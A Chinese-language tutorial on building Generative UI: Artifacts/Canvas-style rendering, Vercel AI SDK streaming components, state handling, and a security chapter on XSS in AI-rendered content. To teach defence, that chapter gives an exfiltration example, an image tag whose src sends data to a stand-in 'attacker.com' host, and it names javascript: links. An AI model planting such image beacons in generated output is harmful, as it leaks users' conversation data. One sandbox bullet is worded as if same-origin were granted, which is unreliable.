跳到主要内容

Generative UI

AI 不再只输出文字,它能生成可交互的界面。这是 2025-2026 年最重要的 AI 应用形态变革。本篇讲清楚 Generative UI 的工程模式、各家方案差异、安全风险、实战代码。

学前说明

5-1(AI 产品 UX 设计模式)讲了 AI 产品的 UX 思考。本篇讲下一步:AI 不只是辅助 UI,AI 直接是 UI 的一部分

三个真实例子:

例 1:用户问天气,AI 不返回"今天 23 度"的文字,返回一个可交互的天气卡片(带温度图、未来 7 天预报)。

例 2:用户让 Claude 写一篇博客,Claude 在右侧"Artifacts"面板里实时渲染 markdown 预览,可以编辑、复制、下载。

例 3:用户让 ChatGPT 帮忙写代码,ChatGPT 在 Canvas 里展示可编辑的代码 + 实时运行结果

这些不是"生成 HTML 字符串"那么简单。涉及组件化、状态管理、流式渲染、安全。

学习目标

  • 理解 Generative UI 的演进(从 markdown 到组件到 Canvas)
  • 用 Vercel AI SDK 实现 React Server Component + AI 流
  • 实现类似 Artifacts / Canvas 的工程模式
  • 处理流式 UI 渲染(生成时局部更新)
  • 防御 AI 生成内容的 XSS / 注入风险
  • 评估什么场景该用 Generative UI

与现有知识的衔接

  • 5-1 AI 产品 UX:UX 视角(前置)
  • 12 Streaming 工程深度:流式渲染(前置)
  • 04 Lethal Trifecta:渲染 AI 输出的安全风险
  • 01 Context Engineering:UI 状态作为上下文

第一章:Generative UI 的演进

1.1 三代演进

Gen 1: 纯文本(2022-2023)
→ AI 输出 plain text

Gen 2: 富文本(2023-2024)
→ AI 输出 Markdown
→ Client 渲染(支持代码块、表格、图片)

Gen 3: 结构化 UI(2024-2025)
→ AI 输出组件描述(JSON 或专门格式)
→ Client 渲染成 React/Vue 组件

Gen 4: 可交互 UI(2025-2026)
→ AI 输出完整应用片段
→ 实时运行、可编辑、有状态

1.2 关键产品

Claude Artifacts(2024-06,Anthropic):

  • 在对话中创建独立"工件"
  • 支持 markdown、code、HTML、SVG、React
  • 实时渲染 + 可编辑 + 可复用

ChatGPT Canvas(2024-10,OpenAI):

  • 把文档/代码放到右侧画布
  • 支持选中部分让 AI 改
  • 类似 Google Docs 的协作模式

Vercel AI SDK Generative UI(2024 中期,2026 主流):

  • 后端 LLM 返回 React 组件
  • 流式传到前端
  • 完全集成 React Server Components

v0 / bolt.new / GitHub Spark

  • 极端形态:用 prompt 生成完整应用(参考 16)

1.3 为什么重要

  • 信息密度高:图表 > 文字
  • 可交互:用户能改、能玩
  • 降低写代码门槛:产品经理用 prompt 生成 dashboard
  • 个性化:每个用户看到为他生成的界面
  • AI 应用的"原生形态":不是 chat 套界面,是界面就是 AI

第二章:Generative UI 的技术模式

2.1 五种实现模式

模式说明例子
模式 A:MarkdownAI 输出 Markdown,Client 渲染ChatGPT 默认
模式 B:结构化数据 + 模板AI 输出 JSON,Client 渲染预定义模板天气卡片、产品卡片
模式 C:组件 DSLAI 输出组件描述语言早期 ChatGPT Plugin UI
模式 D:直接 React/HTMLAI 直接生成 JSX/HTML 字符串Claude Artifacts
模式 E:Server Components StreamingAI 在服务端生成 React Server ComponentsVercel AI SDK

2.2 模式对比

维度ABCDE
灵活性极高
安全性
性能
AI 难度极低
开发难度极低
适合文字回答标准数据展示简单交互创意展示复杂应用

2.3 选型决策

你的场景 →
纯文字回答?
用 Markdown(模式 A)
展示标准化数据(天气、产品、订单)?
用结构化数据 + 模板(模式 B)
需要复杂自定义 UI?
自己控制后端?
用 Server Components Streaming(模式 E)
不能改后端?
用 React/HTML(模式 D)+ 沙箱

第三章:模式 B 实战:结构化数据 + 模板

最常用、最稳定的模式。AI 通过 Tool Call 返回结构化数据,前端渲染预定义模板。

3.1 Tool 设计

// 后端:定义一组"UI Tool"
const uiTools = [
{
name: 'display_weather',
description: '展示天气卡片',
input_schema: {
type: 'object',
properties: {
city: { type: 'string' },
temperature: { type: 'number' },
condition: { enum: ['sunny', 'cloudy', 'rainy', 'snowy'] },
forecast: {
type: 'array',
items: {
type: 'object',
properties: {
day: { type: 'string' },
high: { type: 'number' },
low: { type: 'number' },
}
}
}
},
required: ['city', 'temperature', 'condition']
}
},
{
name: 'display_product_card',
description: '展示产品卡片',
input_schema: { /* ... */ }
},
// ...
];

3.2 前端渲染

// React 客户端
function ChatMessage({ message }: { message: Message }) {
if (message.role === 'tool_result') {
const tool = message.toolName;
const data = message.data;

switch (tool) {
case 'display_weather':
return <WeatherCard {...data} />;
case 'display_product_card':
return <ProductCard {...data} />;
default:
return <pre>{JSON.stringify(data)}</pre>;
}
}

return <Markdown>{message.content}</Markdown>;
}

function WeatherCard({ city, temperature, condition, forecast }: WeatherData) {
return (
<div className="weather-card">
<h3>{city}</h3>
<div className="temp">{temperature}°</div>
<ConditionIcon type={condition} />
<Forecast items={forecast} />
</div>
);
}

3.3 优点

  • 安全:所有 UI 是你写的,AI 只填数据
  • 品牌一致:所有卡片样式统一
  • 性能好:组件可预编译、可缓存
  • AI 简单:只生成 JSON,不写代码

3.4 缺点

  • 僵化:需要新 UI 必须先编码
  • 覆盖不全:用户问的内容可能没有对应模板

3.5 适合场景

  • 客服 / 信息助手(标准化展示)
  • 产品推荐
  • 数据 dashboard(固定指标)
  • 工具集成(每个工具一个 UI)

第四章:模式 E 实战:Vercel AI SDK Generative UI

Vercel 2024 推出,2026 年成熟。让后端 AI 直接返回 React Server Components,流式渲染。

4.1 基本原理

关键:AI 在服务端调用工具,工具返回 React 组件,组件流式传到客户端。

4.2 服务端代码

// app/actions.ts (Server Action)
'use server';

import { streamUI } from 'ai/rsc';
import { anthropic } from '@ai-sdk/anthropic';
import { WeatherCard } from '@/components/WeatherCard';
import { LoadingCard } from '@/components/LoadingCard';

export async function chat(userMessage: string) {
const result = await streamUI({
model: anthropic('claude-sonnet-4-5'),
prompt: userMessage,
text: ({ content }) => <div>{content}</div>,
tools: {
getWeather: {
description: '获取天气信息',
parameters: z.object({ city: z.string() }),
generate: async function* ({ city }) {
// 先显示加载
yield <LoadingCard />;

// 调真实 API
const weather = await fetchWeather(city);

// 返回最终组件
return <WeatherCard {...weather} />;
}
},

showProductCarousel: {
description: '展示产品轮播',
parameters: z.object({ keyword: z.string() }),
generate: async function* ({ keyword }) {
yield <LoadingCard />;
const products = await searchProducts(keyword);
return <ProductCarousel products={products} />;
}
}
}
});

return result.value;
}

4.3 客户端代码

'use client';

import { useState } from 'react';
import { chat } from './actions';

export function Chat() {
const [messages, setMessages] = useState<ReactNode[]>([]);
const [input, setInput] = useState('');

async function handleSubmit() {
setMessages(prev => [...prev, <UserMessage>{input}</UserMessage>]);

const aiResponse = await chat(input);
setMessages(prev => [...prev, aiResponse]);

setInput('');
}

return (
<div>
{messages.map((msg, i) => <div key={i}>{msg}</div>)}
<input value={input} onChange={e => setInput(e.target.value)} />
<button onClick={handleSubmit}>Send</button>
</div>
);
}

4.4 为什么这样设计

  • 服务端控制 UI:你写的组件、用你的数据
  • 流式渲染:生成时就开始显示(loading → final)
  • 类型安全:参数有 zod schema
  • 无 hydration mismatch:RSC 直接给最终 markup

4.5 复杂例子:多组件协同

generate: async function* ({ city }) {
yield <LoadingCard />;

// 并行调几个 API
const [weather, news, events] = await Promise.all([
fetchWeather(city),
fetchLocalNews(city),
fetchEvents(city),
]);

// 返回组合 UI
return (
<div className="city-dashboard">
<WeatherCard {...weather} />
<NewsList items={news} />
<EventCalendar events={events} />
</div>
);
}

第五章:模式 D 实战:Artifacts / Canvas 风格

让 AI 直接生成 HTML/React/SVG 代码,独立面板渲染。最灵活但最危险。

5.1 架构

┌─────────────────────────────┐
│ 对话区(左侧) │
│ ├─ 用户消息 │
│ └─ AI 回复(含 artifact ref)│
├─────────────────────────────┤
│ Artifact 区(右侧) │
│ ├─ 代码 tab │
│ └─ 预览 tab │
└─────────────────────────────┘

5.2 协议设计

AI 通过特殊 tool call 创建 artifact:

const tools = [
{
name: 'create_artifact',
description: '创建独立可视化工件',
input_schema: {
type: 'object',
properties: {
type: { enum: ['html', 'react', 'svg', 'mermaid', 'markdown'] },
title: { type: 'string' },
content: { type: 'string' }, // 完整代码
}
}
},
{
name: 'update_artifact',
description: '更新已有 artifact',
input_schema: {
type: 'object',
properties: {
id: { type: 'string' },
content: { type: 'string' }
}
}
}
];

5.3 渲染:必须沙箱

直接 dangerouslySetInnerHTML AI 代码 = 灾难。必须 iframe 沙箱

function ArtifactRenderer({ artifact }: { artifact: Artifact }) {
if (artifact.type === 'html' || artifact.type === 'react') {
return (
<iframe
sandbox="allow-scripts" // 允许 JS 但不允许其他
src={`/api/artifact/render/${artifact.id}`}
// 不要直接传 srcDoc,AI 代码可能含恶意
/>
);
}

if (artifact.type === 'svg') {
// SVG 也要净化
return (
<div dangerouslySetInnerHTML={{
__html: DOMPurify.sanitize(artifact.content)
}} />
);
}

if (artifact.type === 'markdown') {
return <Markdown content={artifact.content} />;
}

if (artifact.type === 'mermaid') {
return <MermaidDiagram code={artifact.content} />;
}
}

5.4 React Artifact 渲染

最复杂场景:AI 写 React 代码,要在客户端运行。

// 服务端:把 AI 写的 JSX 编译
import { transformSync } from '@babel/core';

app.get('/api/artifact/render/:id', async (req, res) => {
const artifact = await getArtifact(req.params.id);

// 编译 JSX → JS
const { code } = transformSync(artifact.content, {
presets: ['@babel/preset-react'],
});

// 返回完整 HTML 让 iframe 加载
res.send(`
<!DOCTYPE html>
<html>
<head>
<script src="https://unpkg.com/react@18/umd/react.production.min.js"></script>
<script src="https://unpkg.com/react-dom@18/umd/react-dom.production.min.js"></script>
<link rel="stylesheet" href="/artifact.css">
</head>
<body>
<div id="root"></div>
<script>
${code}
const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(React.createElement(App));
</script>
</body>
</html>
`);
});

5.5 流式更新

AI 边写代码边渲染:

// SSE 推送增量代码
let buffer = '';

for await (const chunk of llmStream) {
if (chunk.type === 'tool_use_delta') {
buffer += chunk.partial_json;

// 尝试 partial parse
try {
const partial = parsePartialJson(buffer);
if (partial.content) {
// 推送增量代码到客户端
sse.send('artifact_update', {
id: artifactId,
partialContent: partial.content
});
}
} catch {/* 还不完整 */}
}
}

客户端边收边刷新 iframe(或用 hot reload)。


第六章:流式 UI 渲染

UI 生成是流式的。怎么让用户"看着它出现"而不是"等几秒一次性出来"?

6.1 不同模式的流式策略

模式 A(Markdown)

// 直接渲染部分 Markdown
<Streamdown>{partialContent}</Streamdown>
// streamdown 库专门处理半成品(未闭合的代码块等)

模式 B(结构化)

// 收到 partial JSON 时局部渲染
const partial = parsePartialJson(buffer);

if (partial.type === 'weather') {
return (
<WeatherCard
city={partial.city ?? '...'}
temperature={partial.temperature ?? 0}
condition={partial.condition ?? 'loading'}
// forecast 可能还没到
forecast={partial.forecast ?? []}
/>
);
}

需要组件支持"loading 状态"的 props。

模式 D/E(代码)

代码生成期间显示 loading 占位,完整后渲染:

{isStreaming ? <LoadingSpinner /> : <ArtifactRenderer artifact={artifact} />}

或者实时编译预览(高级,复杂):

// 用 Sucrase / esbuild 实时编译
useEffect(() => {
if (!isStreaming && hasContent) {
compileAndRender(content);
} else if (debouncedContent) {
// 节流:每 500ms 试编译一次
tryCompile(debouncedContent);
}
}, [content, isStreaming]);

6.2 加载占位设计

参考 5-1 第二章的流式 UX:

function ArtifactPlaceholder({ stage }: { stage: 'thinking' | 'writing' | 'rendering' }) {
return (
<div className="artifact-placeholder">
{stage === 'thinking' && <p>AI 正在思考...</p>}
{stage === 'writing' && (
<>
<p>AI 正在生成代码...</p>
<SkeletonCode />
</>
)}
{stage === 'rendering' && <p>正在渲染预览...</p>}
</div>
);
}

第七章:安全风险

Generative UI 是 AI 应用最大的安全雷区。AI 输出直接成为渲染内容 = XSS 攻击载体。

7.1 风险分级

模式风险等级主要威胁
Markdownmarkdown 内的链接、图片 src
结构化模板模板数据校验
组件 DSLDSL 解析漏洞
HTML/React极高XSS、数据外泄、恶意脚本

7.2 Markdown 渲染的注意点

// 不要:直接渲染含 <script> 的 markdown
<div dangerouslySetInnerHTML={{ __html: marked(content) }} /> // ❌

// 要:用 markdown 库 + 净化
import { marked } from 'marked';
import DOMPurify from 'isomorphic-dompurify';

const html = marked.parse(content);
const safe = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'h1', 'h2', 'h3', 'ul', 'ol', 'li', 'code', 'pre', 'a', 'strong', 'em'],
ALLOWED_ATTR: ['href', 'class'],
});

<div dangerouslySetInnerHTML={{ __html: safe }} />

特别注意:

  • 图片 src(恶意 URL 可外发数据:<img src="https://attacker.com/?data=...">
  • 链接 href(javascript: 协议)
  • iframe(禁用)

7.3 React 组件渲染必须 iframe

直接渲染 AI 生成的 JSX 在你的 React app 里 = 灾难。

// ❌ 危险:AI JSX 在你的 React tree 里
<AICreatedComponent /> // 它能访问你的 context、调你的 API、读你的 cookies

// ✅ 安全:iframe 隔离
<iframe
sandbox="allow-scripts" // 不要 allow-same-origin!
src="/api/artifact/render/..."
/>

sandbox="allow-scripts" 关键属性:

  • 允许执行 JS
  • 给 same-origin(无法访问父页 cookies)
  • 无法 top navigation
  • 无法 form submit 到 parent
  • 无 popup

7.4 Lethal Trifecta 在 Generative UI 中

Generative UI 完美命中 Trifecta:

  • 私有数据:用户在对话里的所有内容
  • 不可信内容:AI 生成的代码本身(可能被 prompt injection 控制)
  • 外发能力:HTML 的 <img src><a href>fetch()

防御:

// iframe sandbox 限制
sandbox="allow-scripts" // 不给网络?

// 或者:CSP
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; connect-src 'none'; img-src data: blob:;">
// 禁止任何外部请求

完全禁止网络让交互式 UI 没法做(不能调 API)。权衡:

// 白名单
content="connect-src 'self' https://api.your-domain.com;"

只允许调你自己的 API,攻击者无法外发。

7.5 实战 Checklist

每个 Generative UI 实现必查:

  • AI 输出经过 schema 验证(不是 raw 字符串)
  • HTML/JSX 在 iframe sandbox 里渲染
  • iframe 没有 allow-same-origin
  • CSP 限制网络到白名单
  • markdown 用 DOMPurify 净化
  • 图片 src 验证(不允许 data: 之外的特殊协议)
  • 链接验证(http/https only)
  • 不在 AI artifact 里渲染敏感数据(cookies、密钥)
  • 用户能"举报"问题 artifact
  • 审计日志(用户看过哪些 artifact)

第八章:状态管理

Generative UI 的特殊挑战:用户和 AI 都能改 UI 状态

8.1 状态分类

User-controlled state(用户控制)
├── 输入框内容
├── 滚动位置
└── 表单填写

AI-controlled state(AI 控制)
├── 显示的组件
├── 组件内的数据
└── 组件的 props

Shared state(共享)
├── 当前 artifact 选中状态
├── 编辑模式 vs 预览模式
└── 历史记录

8.2 协调机制

// 用 Zustand 管理 generative UI 状态
import { create } from 'zustand';

interface UIState {
// AI 生成的所有 artifacts
artifacts: Map<string, Artifact>;
// 当前激活的 artifact
activeArtifactId: string | null;

// 用户输入
userEditing: Map<string, string>; // artifactId → user 改动

// 动作
createArtifact: (artifact: Artifact) => void;
updateArtifactFromAI: (id: string, content: string) => void;
updateArtifactFromUser: (id: string, content: string) => void;

// 冲突处理
mergeChanges: (id: string) => string;
}

const useUIStore = create<UIState>((set, get) => ({
artifacts: new Map(),
activeArtifactId: null,
userEditing: new Map(),

createArtifact: (artifact) => {
set(state => {
const m = new Map(state.artifacts);
m.set(artifact.id, artifact);
return { artifacts: m, activeArtifactId: artifact.id };
});
},

updateArtifactFromAI: (id, content) => {
// 如果用户在编辑,提示冲突
const userVersion = get().userEditing.get(id);
if (userVersion && userVersion !== get().artifacts.get(id)?.content) {
// 冲突:AI 想改,但用户也改了
promptConflictResolution(id);
return;
}

set(state => {
const m = new Map(state.artifacts);
const existing = m.get(id);
if (existing) {
m.set(id, { ...existing, content });
}
return { artifacts: m };
});
},

updateArtifactFromUser: (id, content) => {
set(state => {
const m = new Map(state.userEditing);
m.set(id, content);
return { userEditing: m };
});
},
}));

8.3 冲突场景

场景:AI 正在生成代码(流式),用户已经编辑了

对策

  • A. 锁定:AI 生成时禁止编辑
  • B. 暂停:用户开始编辑,AI 停止流
  • C. 询问:完成后弹"AI 想改这里,是否覆盖?"

ChatGPT Canvas 用 B,体验最自然。


第九章:实战例子

9.1 例:智能 Dashboard 生成

需求:用户用自然语言描述想看什么,AI 生成 dashboard。

// 后端
const tools = {
createDashboard: {
description: '创建数据 dashboard',
parameters: z.object({
title: z.string(),
widgets: z.array(z.object({
type: z.enum(['line_chart', 'bar_chart', 'kpi', 'table']),
title: z.string(),
dataSource: z.string(), // SQL or metric name
config: z.any(),
}))
}),
generate: async function* ({ title, widgets }) {
yield <DashboardSkeleton />;

// 并行 fetch 各 widget 数据
const widgetData = await Promise.all(
widgets.map(w => fetchData(w.dataSource, w.config))
);

return (
<Dashboard title={title}>
{widgets.map((w, i) => (
<Widget key={i} type={w.type} title={w.title} data={widgetData[i]} />
))}
</Dashboard>
);
}
}
};

用户:"给我看最近 30 天销售情况,按地区分布,对比同期"

AI 生成:

  • 顶部 KPI:总销售、同比
  • 中间:地区柱状图
  • 底部:明细表

完全个性化,每个用户问不同的话出不同的 dashboard。

9.2 例:购物助手

// AI 推荐时返回可交互产品卡
const tools = {
recommendProducts: {
description: '推荐产品',
parameters: z.object({ query: z.string() }),
generate: async function* ({ query }) {
yield <LoadingProducts />;

const products = await searchProducts(query);

return (
<ProductCarousel>
{products.map(p => (
<ProductCard
key={p.id}
product={p}
onAddToCart={(id) => addToCart(id)} // 真实交互
onCompare={(id) => triggerCompare(id)}
/>
))}
</ProductCarousel>
);
}
}
};

不只是文字"推荐 iPhone 15",而是可点"加入购物车"、可"对比"的卡片。

9.3 例:教学助手

// 学生问数学题,AI 返回交互式解释
const tools = {
explainMath: {
parameters: z.object({
problem: z.string(),
steps: z.array(z.object({
title: z.string(),
equation: z.string(), // LaTeX
explanation: z.string(),
}))
}),
generate: async function* ({ problem, steps }) {
return (
<InteractiveMathExplanation
problem={problem}
steps={steps}
// 用户可点开/折叠每步
// 可点 "I'm stuck here" 让 AI 更详细
/>
);
}
},

createPracticeProblem: {
// AI 出练习题
parameters: z.object({
topic: z.string(),
difficulty: z.enum(['easy', 'medium', 'hard']),
}),
generate: async function* ({ topic, difficulty }) {
const problem = await generateProblem(topic, difficulty);
return (
<PracticeProblem
problem={problem}
onCheckAnswer={(ans) => checkAndExplain(problem, ans)}
/>
);
}
}
};

每个回答不只是文字,是可练习、可互动的教学组件。


第十章:踩坑总结

10.1 工程层

后果修正
AI 输出直接 dangerouslySetInnerHTMLXSS用 DOMPurify
React artifact 不 iframe完整 XSSiframe sandbox
流式 partial JSON parse 抛错UI 卡用 partial-json 库
同时大量 artifact 渲染性能差懒加载、虚拟列表
状态不一致用户改的丢了明确状态优先级

10.2 设计层

表现修正
凡事都 generativeUI 千差万别用户晕标准化 + 必要时 generative
不让用户编辑用户失控感提供"切回文字"开关
加载状态差"白屏" 几秒skeleton + 进度
无错误处理AI 生成错代码崩 UIiframe + error boundary

10.3 何时不该 Generative UI

场景原因
高频固定 UI浪费 LLM 成本
严格品牌规范AI 难保证
隐私敏感(医疗、金融数据展示)AI 错位风险高
老用户已熟悉的界面改了反而不习惯

第十一章:未来方向

11.1 跨平台 Generative UI

不只 web。AI 生成的 UI 直接在 iOS / Android 渲染:

  • React Native 服务端组件
  • SwiftUI / Compose 的 DSL 表示
  • 跨平台 schema

2026-2027 出现。

11.2 协同编辑

用户和 AI 同时改一个 artifact,类似 Google Docs 的 OT/CRDT:

  • 字符级合并
  • AI 看到用户在改什么
  • 实时协作

Claude Artifacts 已经在这个方向。

11.3 持久化 UI

Generative UI 一次性显示太可惜。让 AI 生成的 UI 可"保存"成可复用工具:

用户:"帮我做个销售 dashboard"
AI:[生成 dashboard]
用户:"这个好用,每天 9 点给我看"
AI:[保存为 saved widget,加到 home screen]

类似 GPTs 的 UI 版本。

11.4 多模态 Generative UI

不只图表、表格。AI 生成:

  • 3D 模型
  • 动画
  • 音视频组合
  • WebXR / VR 场景

技术:WebGL + AI 编排。


权威资料

核对日期:2026-06-12